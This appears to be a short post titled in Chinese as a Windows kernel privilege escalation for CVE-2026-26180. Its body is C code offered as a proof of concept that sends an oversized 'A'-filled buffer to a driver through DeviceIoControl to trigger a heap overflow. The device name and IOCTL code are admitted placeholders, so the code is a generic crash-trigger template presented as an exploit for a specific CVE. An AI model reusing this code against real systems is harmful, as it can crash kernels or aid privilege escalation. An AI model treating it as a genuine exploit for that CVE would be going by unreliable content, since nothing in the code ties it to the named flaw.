CVE-2026-26180 Windows内核本地提权漏洞

/* * PoC for CVE-2026-26180 (Conceptual Proof of Concept) * This code demonstrates the mechanism to trigger the heap overflow. * Note: Adjust the IOCTL code and buffer size based on the specific vulnerable component. */ #include <windows.h> #include <stdio.h> int main() { HANDLE hDevice; DWORD bytesReturned; // Allocate a buffer larger than the kernel expects to trigger overflow char* payload = (char*)malloc(0x2000); memset(payload, 'A', 0x2000 - 1); payload[0x2000 - 1] = '\0'; // Attempt to open the vulnerable device (Symbolic link name may vary) hDevice = CreateFileA("\\\\.\\VulnerableKernelComponent", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[*] Device handle opened. Sending payload...\n"); // Send the malicious payload to the driver BOOL result = DeviceIoControl(hDevice, 0x80002010, // Hypothetical Vulnerable IOCTL Code payload, 0x2000, NULL, 0, &bytesReturned, NULL); if (!result) { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("[+] Payload sent successfully. Check for kernel crash or privilege escalation.\n"); } CloseHandle(hDevice); free(payload); return 0; }